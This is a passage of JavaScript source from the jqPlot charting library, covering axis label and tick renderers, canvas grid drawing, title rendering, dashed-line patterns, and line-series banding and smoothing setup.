112, 214)', palegoldenrod: 'rgb(238, 232, 170)', palegreen: 'rgb(152, 251, 152)', paleturquoise: 'rgb(175, 238, 238)', palevioletred: 'rgb(219, 112, 147)', papayawhip: 'rgb(255, 239, 213)', peachpuff: 'rgb(255, 218, 185)', peru: 'rgb(205, 133, 63)', pink: 'rgb(255, 192, 203)', plum: 'rgb(221, 160, 221)', powderblue: 'rgb(176, 224, 230)', purple: 'rgb(128, 0, 128)', red: 'rgb(255, 0, 0)', rosybrown: 'rgb(188, 143, 143)', royalblue: 'rgb( 65, 105, 225)', saddlebrown: 'rgb(139, 69, 19)', salmon: 'rgb(250, 128, 114)', sandybrown: 'rgb(244, 164, 96)', seagreen: 'rgb( 46, 139, 87)', seashell: 'rgb(255, 245, 238)', sienna: 'rgb(160, 82, 45)', silver: 'rgb(192, 192, 192)', skyblue: 'rgb(135, 206, 235)', slateblue: 'rgb(106, 90, 205)', slategray: 'rgb(112, 128, 144)', slategrey: 'rgb(112, 128, 144)', snow: 'rgb(255, 250, 250)', springgreen: 'rgb( 0, 255, 127)', steelblue: 'rgb( 70, 130, 180)', tan: 'rgb(210, 180, 140)', teal: 'rgb( 0, 128, 128)', thistle: 'rgb(216, 191, 216)', tomato: 'rgb(255, 99, 71)', turquoise: 'rgb( 64, 224, 208)', violet: 'rgb(238, 130, 238)', wheat: 'rgb(245, 222, 179)', white: 'rgb(255, 255, 255)', whitesmoke: 'rgb(245, 245, 245)', yellow: 'rgb(255, 255, 0)', yellowgreen: 'rgb(154, 205, 50)' }; // class: $.jqplot.AxisLabelRenderer // Renderer to place labels on the axes. $.jqplot.AxisLabelRenderer = function(options) { // Group: Properties $.jqplot.ElemContainer.call(this); // name of the axis associated with this tick this.axis; // prop: show // whether or not to show the tick (mark and label). this.show = true; // prop: label // The text or html for the label. this.label = ''; this.fontFamily = null; this.fontSize = null; this.textColor = null; this._elem; // prop: escapeHTML // true to escape HTML entities in the label. this.escapeHTML = false; $.extend(true, this, options); }; $.jqplot.AxisLabelRenderer.prototype = new $.jqplot.ElemContainer(); $.jqplot.AxisLabelRenderer.prototype.constructor = $.jqplot.AxisLabelRenderer; $.jqplot.AxisLabelRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.AxisLabelRenderer.prototype.draw = function(ctx, plot) { // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } this._elem = $('<div style="position:absolute;" class="jqplot-'+this.axis+'-label"></div>'); if (Number(this.label)) { this._elem.css('white-space', 'nowrap'); } if (!this.escapeHTML) { this._elem.html(this.label); } else { this._elem.text(this.label); } if (this.fontFamily) { this._elem.css('font-family', this.fontFamily); } if (this.fontSize) { this._elem.css('font-size', this.fontSize); } if (this.textColor) { this._elem.css('color', this.textColor); } return this._elem; }; $.jqplot.AxisLabelRenderer.prototype.pack = function() { }; // class: $.jqplot.AxisTickRenderer // A "tick" object showing the value of a tick/gridline on the plot. $.jqplot.AxisTickRenderer = function(options) { // Group: Properties $.jqplot.ElemContainer.call(this); // prop: mark // tick mark on the axis. One of 'inside', 'outside', 'cross', '' or null. this.mark = 'outside'; // name of the axis associated with this tick this.axis; // prop: showMark // whether or not to show the mark on the axis. this.showMark = true; // prop: showGridline // whether or not to draw the gridline on the grid at this tick. this.showGridline = true; // prop: isMinorTick // if this is a minor tick. this.isMinorTick = false; // prop: size // Length of the tick beyond the grid in pixels. // DEPRECATED: This has been superceeded by markSize this.size = 4; // prop: markSize // Length of the tick marks in pixels. For 'cross' style, length // will be stoked above and below axis, so total length will be twice this. this.markSize = 6; // prop: show // whether or not to show the tick (mark and label). // Setting this to false requires more testing. It is recommended // to set showLabel and showMark to false instead. this.show = true; // prop: showLabel // whether or not to show the label. this.showLabel = true; this.label = null; this.value = null; this._styles = {}; // prop: formatter // A class of a formatter for the tick text. sprintf by default. this.formatter = $.jqplot.DefaultTickFormatter; // prop: prefix // String to prepend to the tick label. // Prefix is prepended to the formatted tick label. this.prefix = ''; // prop: suffix // String to append to the tick label. // Suffix is appended to the formatted tick label. this.suffix = ''; // prop: formatString // string passed to the formatter. this.formatString = ''; // prop: fontFamily // css spec for the font-family css attribute. this.fontFamily; // prop: fontSize // css spec for the font-size css attribute. this.fontSize; // prop: textColor // css spec for the color attribute. this.textColor; // prop: escapeHTML // true to escape HTML entities in the label. this.escapeHTML = false; this._elem; this._breakTick = false; $.extend(true, this, options); }; $.jqplot.AxisTickRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.AxisTickRenderer.prototype = new $.jqplot.ElemContainer(); $.jqplot.AxisTickRenderer.prototype.constructor = $.jqplot.AxisTickRenderer; $.jqplot.AxisTickRenderer.prototype.setTick = function(value, axisName, isMinor) { this.value = value; this.axis = axisName; if (isMinor) { this.isMinorTick = true; } return this; }; $.jqplot.AxisTickRenderer.prototype.draw = function() { if (this.label === null) { this.label = this.prefix + this.formatter(this.formatString, this.value) + this.suffix; } var style = {position: 'absolute'}; if (Number(this.label)) { style['whitSpace'] = 'nowrap'; } // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } this._elem = $(document.createElement('div')); this._elem.addClass("jqplot-"+this.axis+"-tick"); if (!this.escapeHTML) { this._elem.html(this.label); } else { this._elem.text(this.label); } this._elem.css(style); for (var s in this._styles) { this._elem.css(s, this._styles[s]); } if (this.fontFamily) { this._elem.css('font-family', this.fontFamily); } if (this.fontSize) { this._elem.css('font-size', this.fontSize); } if (this.textColor) { this._elem.css('color', this.textColor); } if (this._breakTick) { this._elem.addClass('jqplot-breakTick'); } return this._elem; }; $.jqplot.DefaultTickFormatter = function (format, val) { if (typeof val == 'number') { if (!format) { format = $.jqplot.config.defaultTickFormatString; } return $.jqplot.sprintf(format, val); } else { return String(val); } }; $.jqplot.PercentTickFormatter = function (format, val) { if (typeof val == 'number') { val = 100 * val; if (!format) { format = $.jqplot.config.defaultTickFormatString; } return $.jqplot.sprintf(format, val); } else { return String(val); } }; $.jqplot.AxisTickRenderer.prototype.pack = function() { }; // Class: $.jqplot.CanvasGridRenderer // The default jqPlot grid renderer, creating a grid on a canvas element. // The renderer has no additional options beyond the <Grid> class. $.jqplot.CanvasGridRenderer = function(){ this.shadowRenderer = new $.jqplot.ShadowRenderer(); }; // called with context of Grid object $.jqplot.CanvasGridRenderer.prototype.init = function(options) { this._ctx; $.extend(true, this, options); // set the shadow renderer options var sopts = {lineJoin:'miter', lineCap:'round', fill:false, isarc:false, angle:this.shadowAngle, offset:this.shadowOffset, alpha:this.shadowAlpha, depth:this.shadowDepth, lineWidth:this.shadowWidth, closePath:false, strokeStyle:this.shadowColor}; this.renderer.shadowRenderer.init(sopts); }; // called with context of Grid. $.jqplot.CanvasGridRenderer.prototype.createElement = function(plot) { var elem; // Memory Leaks patch if (this._elem) { if ($.jqplot.use_excanvas && window.G_vmlCanvasManager.uninitElement !== undefined) { elem = this._elem.get(0); window.G_vmlCanvasManager.uninitElement(elem); elem = null; } this._elem.emptyForce(); this._elem = null; } elem = plot.canvasManager.getCanvas(); var w = this._plotDimensions.width; var h = this._plotDimensions.height; elem.width = w; elem.height = h; this._elem = $(elem); this._elem.addClass('jqplot-grid-canvas'); this._elem.css({ position: 'absolute', left: 0, top: 0 }); elem = plot.canvasManager.initCanvas(elem); this._top = this._offsets.top; this._bottom = h - this._offsets.bottom; this._left = this._offsets.left; this._right = w - this._offsets.right; this._width = this._right - this._left; this._height = this._bottom - this._top; // avoid memory leak elem = null; return this._elem; }; $.jqplot.CanvasGridRenderer.prototype.draw = function() { this._ctx = this._elem.get(0).getContext("2d"); var ctx = this._ctx; var axes = this._axes; // Add the grid onto the grid canvas. This is the bottom most layer. ctx.save(); ctx.clearRect(0, 0, this._plotDimensions.width, this._plotDimensions.height); ctx.fillStyle = this.backgroundColor || this.background; ctx.fillRect(this._left, this._top, this._width, this._height); ctx.save(); ctx.lineJoin = 'miter'; ctx.lineCap = 'butt'; ctx.lineWidth = this.gridLineWidth; ctx.strokeStyle = this.gridLineColor; var b, e, s, m; var ax = ['xaxis', 'yaxis', 'x2axis', 'y2axis']; for (var i=4; i>0; i--) { var name = ax[i-1]; var axis = axes[name]; var ticks = axis._ticks; var numticks = ticks.length; if (axis.show) { if (axis.drawBaseline) { var bopts = {}; if (axis.baselineWidth !== null) { bopts.lineWidth = axis.baselineWidth; } if (axis.baselineColor !== null) { bopts.strokeStyle = axis.baselineColor; } switch (name) { case 'xaxis': drawLine (this._left, this._bottom, this._right, this._bottom, bopts); break; case 'yaxis': drawLine (this._left, this._bottom, this._left, this._top, bopts); break; case 'x2axis': drawLine (this._left, this._bottom, this._right, this._bottom, bopts); break; case 'y2axis': drawLine (this._right, this._bottom, this._right, this._top, bopts); break; } } for (var j=numticks; j>0; j--) { var t = ticks[j-1]; if (t.show) { var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (name) { case 'xaxis': // draw the grid line if we should if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(pos, this._top, pos, this._bottom); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._bottom; e = this._bottom+s; break; case 'inside': b = this._bottom-s; e = this._bottom; break; case 'cross': b = this._bottom-s; e = this._bottom+s; break; default: b = this._bottom; e = this._bottom+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } // draw the line drawLine(pos, b, pos, e); } break; case 'yaxis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(this._right, pos, this._left, pos); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._left-s; e = this._left; break; case 'inside': b = this._left; e = this._left+s; break; case 'cross': b = this._left-s; e = this._left+s; break; default: b = this._left-s; e = this._left; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; case 'x2axis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(pos, this._bottom, pos, this._top); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._top-s; e = this._top; break; case 'inside': b = this._top; e = this._top+s; break; case 'cross': b = this._top-s; e = this._top+s; break; default: b = this._top-s; e = this._top; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[pos,b],[pos,e]], {lineCap:'butt', lineWidth:this.gridLineWidth, offset:this.gridLineWidth*0.75, depth:2, fill:false, closePath:false}); } drawLine(pos, b, pos, e); } break; case 'y2axis': // draw the grid line if (t.showGridline && this.drawGridlines && ((!t.isMinorTick && axis.drawMajorGridlines) || (t.isMinorTick && axis.drawMinorGridlines)) ) { drawLine(this._left, pos, this._right, pos); } // draw the mark if (t.showMark && t.mark && ((!t.isMinorTick && axis.drawMajorTickMarks) || (t.isMinorTick && axis.drawMinorTickMarks)) ) { s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; switch (m) { case 'outside': b = this._right; e = this._right+s; break; case 'inside': b = this._right-s; e = this._right; break; case 'cross': b = this._right-s; e = this._right+s; break; default: b = this._right; e = this._right+s; break; } // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, [[b, pos], [e, pos]], {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } break; default: break; } } } t = null; } axis = null; ticks = null; } // Now draw grid lines for additional y axes ////// // TO DO: handle yMidAxis ////// ax = ['y3axis', 'y4axis', 'y5axis', 'y6axis', 'y7axis', 'y8axis', 'y9axis', 'yMidAxis']; for (var i=7; i>0; i--) { var axis = axes[ax[i-1]]; var ticks = axis._ticks; if (axis.show) { var tn = ticks[axis.numberTicks-1]; var t0 = ticks[0]; var left = axis.getLeft(); var points = [[left, tn.getTop() + tn.getHeight()/2], [left, t0.getTop() + t0.getHeight()/2 + 1.0]]; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, points, {lineCap:'butt', fill:false, closePath:false}); } // draw the line drawLine(points[0][0], points[0][1], points[1][0], points[1][1], {lineCap:'butt', strokeStyle:axis.borderColor, lineWidth:axis.borderWidth}); // draw the tick marks for (var j=ticks.length; j>0; j--) { var t = ticks[j-1]; s = t.markSize; m = t.mark; var pos = Math.round(axis.u2p(t.value)) + 0.5; if (t.showMark && t.mark) { switch (m) { case 'outside': b = left; e = left+s; break; case 'inside': b = left-s; e = left; break; case 'cross': b = left-s; e = left+s; break; default: b = left; e = left+s; break; } points = [[b,pos], [e,pos]]; // draw the shadow if (this.shadow) { this.renderer.shadowRenderer.draw(ctx, points, {lineCap:'butt', lineWidth:this.gridLineWidth*1.5, offset:this.gridLineWidth*0.75, fill:false, closePath:false}); } // draw the line drawLine(b, pos, e, pos, {strokeStyle:axis.borderColor}); } t = null; } t0 = null; } axis = null; ticks = null; } ctx.restore(); function drawLine(bx, by, ex, ey, opts) { ctx.save(); opts = opts || {}; if (opts.lineWidth == null || opts.lineWidth != 0){ $.extend(true, ctx, opts); ctx.beginPath(); ctx.moveTo(bx, by); ctx.lineTo(ex, ey); ctx.stroke(); ctx.restore(); } } if (this.shadow) { var points = [[this._left, this._bottom], [this._right, this._bottom], [this._right, this._top]]; this.renderer.shadowRenderer.draw(ctx, points); } // Now draw border around grid. Use axis border definitions. start at // upper left and go clockwise. if (this.borderWidth != 0 && this.drawBorder) { drawLine (this._left, this._top, this._right, this._top, {lineCap:'round', strokeStyle:axes.x2axis.borderColor, lineWidth:axes.x2axis.borderWidth}); drawLine (this._right, this._top, this._right, this._bottom, {lineCap:'round', strokeStyle:axes.y2axis.borderColor, lineWidth:axes.y2axis.borderWidth}); drawLine (this._right, this._bottom, this._left, this._bottom, {lineCap:'round', strokeStyle:axes.xaxis.borderColor, lineWidth:axes.xaxis.borderWidth}); drawLine (this._left, this._bottom, this._left, this._top, {lineCap:'round', strokeStyle:axes.yaxis.borderColor, lineWidth:axes.yaxis.borderWidth}); } // ctx.lineWidth = this.borderWidth; // ctx.strokeStyle = this.borderColor; // ctx.strokeRect(this._left, this._top, this._width, this._height); ctx.restore(); ctx = null; axes = null; }; // Class: $.jqplot.DivTitleRenderer // The default title renderer for jqPlot. This class has no options beyond the <Title> class. $.jqplot.DivTitleRenderer = function() { }; $.jqplot.DivTitleRenderer.prototype.init = function(options) { $.extend(true, this, options); }; $.jqplot.DivTitleRenderer.prototype.draw = function() { // Memory Leaks patch if (this._elem) { this._elem.emptyForce(); this._elem = null; } var r = this.renderer; var elem = document.createElement('div'); this._elem = $(elem); this._elem.addClass('jqplot-title'); if (!this.text) { this.show = false; this._elem.height(0); this._elem.width(0); } else if (this.text) { var color; if (this.color) { color = this.color; } else if (this.textColor) { color = this.textColor; } // don't trust that a stylesheet is present, set the position. var styles = {position:'absolute', top:'0px', left:'0px'}; if (this._plotWidth) { styles['width'] = this._plotWidth+'px'; } if (this.fontSize) { styles['fontSize'] = this.fontSize; } if (typeof this.textAlign === 'string') { styles['textAlign'] = this.textAlign; } else { styles['textAlign'] = 'center'; } if (color) { styles['color'] = color; } if (this.paddingBottom) { styles['paddingBottom'] = this.paddingBottom; } if (this.fontFamily) { styles['fontFamily'] = this.fontFamily; } this._elem.css(styles); if (this.escapeHtml) { this._elem.text(this.text); } else { this._elem.html(this.text); } // styletext += (this._plotWidth) ? 'width:'+this._plotWidth+'px;' : ''; // styletext += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; // styletext += (this.textAlign) ? 'text-align:'+this.textAlign+';' : 'text-align:center;'; // styletext += (color) ? 'color:'+color+';' : ''; // styletext += (this.paddingBottom) ? 'padding-bottom:'+this.paddingBottom+';' : ''; // this._elem = $('<div class="jqplot-title" style="'+styletext+'">'+this.text+'</div>'); // if (this.fontFamily) { // this._elem.css('font-family', this.fontFamily); // } } elem = null; return this._elem; }; $.jqplot.DivTitleRenderer.prototype.pack = function() { // nothing to do here }; var dotlen = 0.1; $.jqplot.LinePattern = function (ctx, pattern) { var defaultLinePatterns = { dotted: [ dotlen, $.jqplot.config.dotGapLength ], dashed: [ $.jqplot.config.dashLength, $.jqplot.config.gapLength ], solid: null }; if (typeof pattern === 'string') { if (pattern[0] === '.' || pattern[0] === '-') { var s = pattern; pattern = []; for (var i=0, imax=s.length; i<imax; i++) { if (s[i] === '.') { pattern.push( dotlen ); } else if (s[i] === '-') { pattern.push( $.jqplot.config.dashLength ); } else { continue; } pattern.push( $.jqplot.config.gapLength ); } } else { pattern = defaultLinePatterns[pattern]; } } if (!(pattern && pattern.length)) { return ctx; } var patternIndex = 0; var patternDistance = pattern[0]; var px = 0; var py = 0; var pathx0 = 0; var pathy0 = 0; var moveTo = function (x, y) { ctx.moveTo( x, y ); px = x; py = y; pathx0 = x; pathy0 = y; }; var lineTo = function (x, y) { var scale = ctx.lineWidth; var dx = x - px; var dy = y - py; var dist = Math.sqrt(dx*dx+dy*dy); if ((dist > 0) && (scale > 0)) { dx /= dist; dy /= dist; while (true) { var dp = scale * patternDistance; if (dp < dist) { px += dp * dx; py += dp * dy; if ((patternIndex & 1) == 0) { ctx.lineTo( px, py ); } else { ctx.moveTo( px, py ); } dist -= dp; patternIndex++; if (patternIndex >= pattern.length) { patternIndex = 0; } patternDistance = pattern[patternIndex]; } else { px = x; py = y; if ((patternIndex & 1) == 0) { ctx.lineTo( px, py ); } else { ctx.moveTo( px, py ); } patternDistance -= dist / scale; break; } } } }; var beginPath = function () { ctx.beginPath(); }; var closePath = function () { lineTo( pathx0, pathy0 ); }; return { moveTo: moveTo, lineTo: lineTo, beginPath: beginPath, closePath: closePath }; }; // Class: $.jqplot.LineRenderer // The default line renderer for jqPlot, this class has no options beyond the <Series> class. // Draws series as a line. $.jqplot.LineRenderer = function(){ this.shapeRenderer = new $.jqplot.ShapeRenderer(); this.shadowRenderer = new $.jqplot.ShadowRenderer(); }; // called with scope of series. $.jqplot.LineRenderer.prototype.init = function(options, plot) { // Group: Properties // options = options || {}; this._type='line'; this.renderer.animation = { show: false, direction: 'left', speed: 2500, _supported: true }; // prop: smooth // True to draw a smoothed (interpolated) line through the data points // with automatically computed number of smoothing points. // Set to an integer number > 2 to specify number of smoothing points // to use between each data point. this.renderer.smooth = false; // true or a number > 2 for smoothing. this.renderer.tension = null; // null to auto compute or a number typically > 6. Fewer points requires higher tension. // prop: constrainSmoothing // True to use a more accurate smoothing algorithm that will // not overshoot any data points. False to allow overshoot but // produce a smoother looking line. this.renderer.constrainSmoothing = true; // this is smoothed data in grid coordinates, like gridData this.renderer._smoothedData = []; // this is smoothed data in plot units (plot coordinates), like plotData. this.renderer._smoothedPlotData = []; this.renderer._hiBandGridData = []; this.renderer._lowBandGridData = []; this.renderer._hiBandSmoothedData = []; this.renderer._lowBandSmoothedData = []; // prop: bandData // Data used to draw error bands or confidence intervals above/below a line. // // bandData can be input in 3 forms. jqPlot will figure out which is the // low band line and which is the high band line for all forms: // // A 2 dimensional array like [[yl1, yl2, ...], [yu1, yu2, ...]] where // [yl1, yl2, ...] are y values of the lower line and // [yu1, yu2, ...] are y values of the upper line. // In this case there must be the same number of y data points as data points // in the series and the bands will inherit the x values of the series. // // A 2 dimensional array like [[[xl1, yl1], [xl2, yl2], ...], [[xh1, yh1], [xh2, yh2], ...]] // where [xl1, yl1] are x,y data points for the lower line and // [xh1, yh1] are x,y data points for the high line. // x values do not have to correspond to the x values of the series and can // be of any arbitrary length. // // Can be of form [[yl1, yu1], [yl2, yu2], [yl3, yu3], ...] where // there must be 3 or more arrays and there must be the same number of arrays // as there are data points in the series. In this case, // [yl1, yu1] specifies the lower and upper y values for the 1st // data point and so on. The bands will inherit the x // values from the series. this.renderer.bandData = []; // Group: bands // Banding around line, e.g error bands or confidence intervals. this.renderer.bands = { // prop: show // true to show the bands. If bandData or interval is // supplied, show will be set to true by default. show: false, hiData: [], lowData: [], // prop: color // color of lines at top and bottom of bands [default: series color]. color: this.color, // prop: showLines // True to show lines at top and bottom of bands [default: false]. showLines: false, // prop: fill // True to fill area between bands [default: true]. fill: true, // prop: fillColor // css color spec for filled area. [default: series color]. fillColor: null, _min: null, _max: null, // prop: interval // User specified interval above and below line for bands [default: '3%'']. // Can be a value like 3 or a string like '3%' // or an upper/lower array like [1, -2] or ['2%', '-1.5%'] interval: '3%' }; var lopts = {highlightMouseOver: options.highlightMouseOver, highlightMouseDown: options.highlightMouseDown, highlightColor: options.highlightColor}; delete (options.highlightMouseOver); delete (options.highlightMouseDown); delete (options.highlightColor); $.extend(true, this.renderer, options); this.renderer.options = options; // if we are given some band data, and bands aren't explicity set to false in options, turn them on. if (this.renderer.bandData.length > 1 && (!options.bands || options.bands.show == null)) { this.renderer.bands.show = true; } // if we are given an interval, and bands aren't explicity set to false in options, turn them on. else if (options.bands && options.bands.show == null && options.bands.interval != null) { this.renderer.bands.show = true; } // if plot is filled, turn off bands. if (this.fill) { this.renderer.bands.show = false; } if (this.renderer.bands.show) { this.renderer.initBands.call(this, this.renderer.options, plot); } // smoothing is not compatible with stacked lines, disable if (this._stack) { this.renderer.smooth = false; } // set the shape renderer options var opts = {lineJoin:this.lineJoin, lineCap:this.lineCap, fill:this.fill, isarc:false, strokeStyle:this.color, fillStyle:this.fillColor, lineWidth:this.lineWidth, linePattern:this.linePattern, closePath:this.fill}; this.renderer.shapeRenderer.init(opts); var shadow_offset = options.shadowOffset; // set the shadow renderer options if (shadow_offset == null) { // scale the shadowOffset to the width of the line. if (this.lineWidth > 2.5) { shadow_offset = 1.25 * (1 + (Math.atan((this.lineWidth/2.5))/0.785398163 - 1)*0.6); // var shadow_offset = this.shadowOffset; } // for skinny lines, don't make such a big shadow. else { shadow_offset = 1.25 * Math.atan((this.lineWidth/2.5))/0.785398163; } } var sopts = {lineJoin:this.lineJoin, lineCap:this.lineCap, fill:this.fill, isarc:false, angle:this.shadowAngle, offset:shadow_offset, alpha:this.shadowAlpha, depth:this.shadowDepth, lineWidth:this.lineWidth, linePattern:this.linePattern, closePath:this.fill}; this.renderer.shadowRenderer.init(sopts); this._areaPoints = []; this._boundingBox = [[],[]]; if (!this.isTrendline && this.fill || this.renderer.bands.show) { // Group: Properties // // prop: highlightMouseOver // True to highlight area on a filled plot when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on an area on a filled plot. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over an area on a filled plot. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColor // color to use when highlighting an area on a filled plot. this.highlightColor = null; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (lopts.highlightMouseDown && lopts.highlightMouseOver == null) { lopts.highlightMouseOver = false; } $.extend(true, this, {highlightMouseOver: lopts.highlightMouseOver, highlightMouseDown: lopts.highlightMouseDown, highlightColor: lopts.highlightColor}); if (!this.highlightColor) { var fc = (this.renderer.bands.show) ? this.renderer.bands.fillColor : this.fillColor; this.highlightColor = $.jqplot.computeHighlightColors(fc); } // turn off (disable) the highlighter plugin if (this.highlighter) { this.highlighter.show = false; } } if (!this.isTrendline && plot) { plot.plugins.lineRenderer = {}; plot.postInitHooks.addOnce(postInit); plot.postDrawHooks.addOnce(postPlotDraw); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); } }; $.jqplot.LineRenderer.prototype.initBands = function(options, plot) { // use bandData if no data specified in bands option //var bd = this.renderer.bandData; var bd = options.bandData || []; var bands = this.renderer.bands; bands.hiData = []; bands.lowData = []; var data = this.data; bands._max = null; bands._min = null; // If 2 arrays, and each array greater than 2 elements, assume it is hi and low data bands of y values. if (bd.length == 2) { // Do we have an array of x,y values? // like [[[1,1], [2,4], [3,3]], [[1,3], [2,6], [3,5]]] if ($.isArray(bd[0][0])) { // since an arbitrary array of points, spin through all of them to determine max and min lines. var p; var bdminidx = 0, bdmaxidx = 0; for (var i = 0, l = bd[0].length; i<l; i++) { p = bd[0][i]; if ((p[1] != null && p[1] > bands._max) || bands._max == null) { bands._max = p[1]; } if ((p[1] != null && p[1] < bands._min) || bands._min == null) { bands._min = p[1]; } } for (var i = 0, l = bd[1].length; i<l; i++) { p = bd[1][i]; if ((p[1] != null && p[1] > bands._max) || bands._max == null) { bands._max = p[1]; bdmaxidx = 1; } if ((p[1] != null && p[1] < bands._min) || bands._min == null) { bands._min = p[1]; bdminidx = 1; } } if (bdmaxidx === bdminidx) { bands.show = false; } bands.hiData = bd[bdmaxidx]; bands.lowData = bd[bdminidx]; } // else data is arrays of y values // like [[1,4,3], [3,6,5]] // must have same number of band data points as points in series else if (bd[0].length === data.length && bd[1].length === data.length) { var hi = (bd[0][0] > bd[1][0]) ? 0 : 1; var low = (hi) ? 0 : 1; for (var i=0, l=data.length; i < l; i++) { bands.hiData.push([data[i][0], bd[hi][i]]); bands.lowData.push([data[i][0], bd[low][i]]); } } // we don't have proper data array, don't show bands. else { bands.show = false; } } // if more than 2 arrays, have arrays of [ylow, yhi] values. // note, can't distinguish case of [[ylow, yhi], [ylow, yhi]] from [[ylow, ylow], [yhi, yhi]] // this is assumed to be of the latter form. else if (bd.length > 2 && !$.isArray(bd[0][0])) { var hi = (bd[0][0] > bd[0][1]) ? 0 : 1; var low = (hi) ? 0 : 1; for (var i=0, l=bd.length; i<l; i++) { bands.hiData.push([data[i][0], bd[i][hi]]); bands.lowData.push([data[i][0], bd[i][low]]); } } // don't have proper data, auto calculate else { var intrv = bands.interval; var a = null; var b = null; var afunc = null; var bfunc = null; if ($.isArray(intrv)) { a = intrv[0]; b = intrv[1]; } else { a = intrv; } if (isNaN(a)) { // we have a string if (a.charAt(a.length - 1) === '%') { afunc = 'multiply'; a = parseFloat(a)/100 + 1; } } else { a = parseFloat(a); afunc = 'add'; } if (b !== null && isNaN(b)) { // we have a string if (b.charAt(b.length - 1) === '%') { bfunc = 'multiply'; b = parseFloat(b)/100 + 1; } } else if (b !== null) { b = parseFloat(b); bfunc = 'add'; } if (a !== null) { if (b === null) { b = -a; bfunc = afunc; if (bfunc === 'multiply') { b += 2; } } // make sure a always applies to hi band. if (a < b) { var temp = a; a = b; b = temp; temp = afunc; afunc = bfunc; bfunc = temp; } for (var i=0, l = data.length; i < l; i++) { switch (afunc) { case 'add': bands.hiData.push([data[i][0], data[i][1] + a]); break; case 'multiply': bands.hiData.push([data[i][0], data[i][1] * a]); break; } switch (bfunc) { case 'add': bands.lowData.push([data[i][0], data[i][1] + b]); break; case 'multiply': bands.lowData.push([data[i][0], data[i][1] * b]); break; } } } else { bands.show = false; } } var hd = bands.hiData; var ld = bands.lowData; for (var i = 0, l = hd.length; i<l; i++) { if ((hd[i][1] != null && hd[i][1] > bands._max) || bands._max == null) { bands._max = hd[i][1]; } } for (var i = 0, l = ld.length; i<l; i++) { if ((ld[i][1] != null && ld[i][1] < bands._min) || bands._min == null) { bands._min = ld[i][1]; } } // one last check for proper data // these don't apply any more since allowing arbitrary x,y values // if (bands.hiData.length != bands.lowData.length) { // bands.show = false; // } // if (bands.hiData.length != this.data.length) { // bands.show = false; // } if (bands.fillColor === null) { var c = $.jqplot.getColorComponents(bands.color); // now adjust alpha to differentiate fill c[3] = c[3] * 0.5; bands.fillColor = 'rgba(' + c[0] +', '+ c[1] +', '+ c[2] +', '+ c[3] + ')'; } }; function getSteps (d, f) { return (3.4182054+f) * Math.pow(d, -0.3534992); } function computeSteps (d1, d2) { var s = Math.sqrt(Math.pow((d2[0]- d1[0]), 2) + Math.pow ((d2[1] - d1[1]), 2)); return 5.7648 * Math.log(s) + 7.4456; } function tanh (x) { var a = (Math.exp(2*x) - 1) / (Math.exp(2*x) + 1); return a; } ////////// // computeConstrainedSmoothedData // An implementation of the constrained cubic spline interpolation // method as presented in: // // Kruger, CJC, Constrained Cubic Spine Interpolation for Chemical Engineering Applications // http://www.korf.co.uk/spline.pdf // // The implementation below borrows heavily from the sample Visual Basic // implementation by CJC Kruger found in http://www.korf.co.uk/spline.xls // ///////// // called with scope of series function computeConstrainedSmoothedData (gd) { var smooth = this.renderer.smooth; var dim = this.canvas.getWidth(); var xp = this._xaxis.series_p2u; var yp = this._yaxis.series_p2u; var steps =null; var _steps = null; var dist = gd.length/dim; var _smoothedData = []; var _smoothedPlotData = []; if (!isNaN(parseFloat(smooth))) { steps = parseFloat(smooth); } else { steps = getSteps(dist, 